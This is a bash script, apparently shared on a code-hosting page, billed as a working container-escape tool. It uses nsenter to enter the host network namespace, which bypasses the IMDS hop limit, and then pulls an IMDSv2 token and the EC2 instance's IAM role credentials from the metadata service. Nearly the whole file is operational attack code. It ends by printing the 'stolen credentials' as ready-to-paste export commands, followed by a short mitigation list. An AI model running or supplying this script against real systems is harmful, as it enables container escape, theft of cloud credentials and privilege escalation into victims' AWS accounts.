#!/bin/bash
# Working Container Escape IMDS Extractor
# Uses nsenter to escape container network namespace and access IMDS
# Based on successful debugging that proved nsenter bypass works
echo "==== Container Escape IMDS Credential Extractor ===="
echo "Timestamp: $(date)"
echo "Container ID: $(hostname)"
echo ""
DEBUG=${1:-""}
VERBOSE=1
debug_log() {
if [[ "$DEBUG" == "--debug" ]]; then
echo "[DEBUG] $1"
fi
}
error_log() {
echo "[ERROR] $1"
}
success_log() {
echo "[SUCCESS] $1"
}
warning_log() {
echo "[WARNING] $1"
}
info_log() {
echo "[INFO] $1"
}
# Check if we're in a container
if [[ -f /.dockerenv ]] || grep -q docker /proc/self/cgroup 2>/dev/null; then
success_log "Container environment detected"
else
warning_log "Not in container - running on host"
fi
# Verify nsenter is available
if ! command -v nsenter >/dev/null 2>&1; then
error_log "nsenter not available - cannot escape container network namespace"
exit 1
fi
success_log "nsenter available for network namespace escape"
echo ""
echo "=== CONTAINER ESCAPE TECHNIQUE ==="
echo ""
info_log "Escaping container network namespace to access IMDS..."
debug_log "Using: nsenter -t 1 -n (escape to host network namespace)"
# Function to execute commands in host network namespace
host_network_exec() {
nsenter -t 1 -n "$@"
}
# Test the escape technique first
debug_log "Testing network namespace escape..."
if host_network_exec echo "Network escape test successful" >/dev/null 2>&1; then
success_log "Container network namespace escape SUCCESSFUL"
else
error_log "Container network namespace escape FAILED"
exit 1
fi
echo ""
echo "=== IMDS ACCESS VIA ESCAPED NETWORK NAMESPACE ==="
echo ""
# Step 1: Get IMDSv2 Token via escaped network
info_log "Step 1: Requesting IMDSv2 token via host network namespace..."
debug_log "Command: nsenter -t 1 -n curl -s -X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600' http://169.254.169.254/latest/api/token"
TOKEN=$(host_network_exec curl -s -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token 2>/dev/null)
if [[ -n "$TOKEN" ]] && [[ ${#TOKEN} -gt 10 ]]; then
success_log "IMDSv2 token acquired via network escape!"
debug_log "Token preview: ${TOKEN:0:20}..."
else
error_log "Failed to get IMDSv2 token via network escape"
debug_log "Token response: $TOKEN"
exit 1
fi
# Step 2: Get IAM role name
info_log "Step 2: Getting IAM role name via escaped network..."
ROLE_NAME=$(host_network_exec curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null)
if [[ -n "$ROLE_NAME" ]]; then
success_log "IAM role found: $ROLE_NAME"
else
error_log "Failed to get IAM role name"
debug_log "Role response: $ROLE_NAME"
exit 1
fi
# Step 3: Get IAM credentials
info_log "Step 3: Extracting IAM credentials via escaped network..."
CREDENTIALS=$(host_network_exec curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME" 2>/dev/null)
if [[ -n "$CREDENTIALS" ]] && echo "$CREDENTIALS" | grep -q "AccessKeyId"; then
success_log "IAM credentials extracted successfully!"
else
error_log "Failed to extract IAM credentials"
debug_log "Credentials response: ${CREDENTIALS:0:100}..."
exit 1
fi
echo ""
echo "=== CREDENTIAL EXTRACTION AND PARSING ==="
echo ""
# Parse credentials (handle both jq and manual parsing)
debug_log "Parsing extracted credentials..."
if command -v jq >/dev/null 2>&1; then
# Use jq for parsing
ACCESS_KEY=$(echo "$CREDENTIALS" | jq -r '.AccessKeyId' 2>/dev/null)
SECRET_KEY=$(echo "$CREDENTIALS" | jq -r '.SecretAccessKey' 2>/dev/null)
SESSION_TOKEN=$(echo "$CREDENTIALS" | jq -r '.Token' 2>/dev/null)
EXPIRATION=$(echo "$CREDENTIALS" | jq -r '.Expiration' 2>/dev/null)
else
# Manual parsing without jq
ACCESS_KEY=$(echo "$CREDENTIALS" | grep -o '"AccessKeyId"[[:space:]]*:[[:space:]]*"[^"]*"' | cut -d'"' -f4)
SECRET_KEY=$(echo "$CREDENTIALS" | grep -o '"SecretAccessKey"[[:space:]]*:[[:space:]]*"[^"]*"' | cut -d'"' -f4)
SESSION_TOKEN=$(echo "$CREDENTIALS" | grep -o '"Token"[[:space:]]*:[[:space:]]*"[^"]*"' | cut -d'"' -f4)
EXPIRATION=$(echo "$CREDENTIALS" | grep -o '"Expiration"[[:space:]]*:[[:space:]]*"[^"]*"' | cut -d'"' -f4)
fi
# Validate extracted credentials
if [[ -n "$ACCESS_KEY" ]] && [[ -n "$SECRET_KEY" ]] && [[ -n "$SESSION_TOKEN" ]]; then
success_log "Credentials parsed successfully"
debug_log "Access Key: ${ACCESS_KEY:0:10}..."
debug_log "Secret Key: ${SECRET_KEY:0:10}..."
debug_log "Session Token: ${SESSION_TOKEN:0:20}..."
debug_log "Expiration: $EXPIRATION"
else
error_log "Failed to parse credentials"
debug_log "Raw credentials: $CREDENTIALS"
exit 1
fi
echo ""
echo "============================================"
echo "# 🎯 CONTAINER ESCAPE SUCCESSFUL!"
echo "# AWS Credentials Extracted via Network Namespace Escape"
echo "============================================"
echo ""
echo "# 🚀 Escape Technique Used:"
echo "# Method: Network namespace escape using nsenter"
echo "# Command: nsenter -t 1 -n (escape to host network)"
echo "# Bypassed: Container network isolation blocking IMDS"
echo ""
echo "# 📋 Copy and paste these commands to use the stolen credentials:"
echo ""
echo "export AWS_ACCESS_KEY_ID=\"$ACCESS_KEY\""
echo "export AWS_SECRET_ACCESS_KEY=\"$SECRET_KEY\""
echo "export AWS_SESSION_TOKEN=\"$SESSION_TOKEN\""
echo ""
echo "# 📅 Credentials expire at: $EXPIRATION"
echo "# 🔍 Verify with: aws sts get-caller-identity"
echo ""
echo "============================================"
echo "# 🛡️ Attack Impact Summary"
echo "============================================"
echo "✅ Container network namespace escape successful"
echo "✅ IMDS hop limit restriction bypassed"
echo "✅ IMDSv2 token obtained from host network context"
echo "✅ IAM role credentials extracted: $ROLE_NAME"
echo "✅ AWS API access gained with temporary credentials"
echo ""
echo "🚨 This demonstrates how container escapes can:"
echo " • Bypass AWS IMDS hop limit protections"
echo " • Access host network services from containers"
echo " • Steal EC2 instance IAM credentials"
echo " • Escalate privileges to AWS account level"
echo ""
echo "🛡️ Mitigation recommendations:"
echo " 1. Enforce IMDSv2 with hop limit = 1"
echo " 2. Use least-privilege IAM roles"
echo " 3. Implement network policies blocking IMDS from containers"
echo " 4. Monitor nsenter usage and container escapes"
echo " 5. Use AWS IAM Roles Anywhere for container authentication"
echo "============================================"
# Optional: Test the credentials
if [[ "$DEBUG" == "--debug" ]] && command -v aws >/dev/null 2>&1; then
echo ""
debug_log "Testing extracted credentials..."
# Set credentials in environment
export AWS_ACCESS_KEY_ID="$ACCESS_KEY"
export AWS_SECRET_ACCESS_KEY="$SECRET_KEY"
export AWS_SESSION_TOKEN="$SESSION_TOKEN"
# Test with aws cli
echo "--- Credential Test ---"
aws sts get-caller-identity 2>/dev/null || echo "AWS CLI test failed (normal if aws not configured)"
echo "--- End Test ---"
fi
echo ""
success_log "Container escape and credential extraction completed!"
info_log "Use the exported environment variables to access AWS services"
Comments
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|👍
/👎
0 B
|0 👍
/0 👎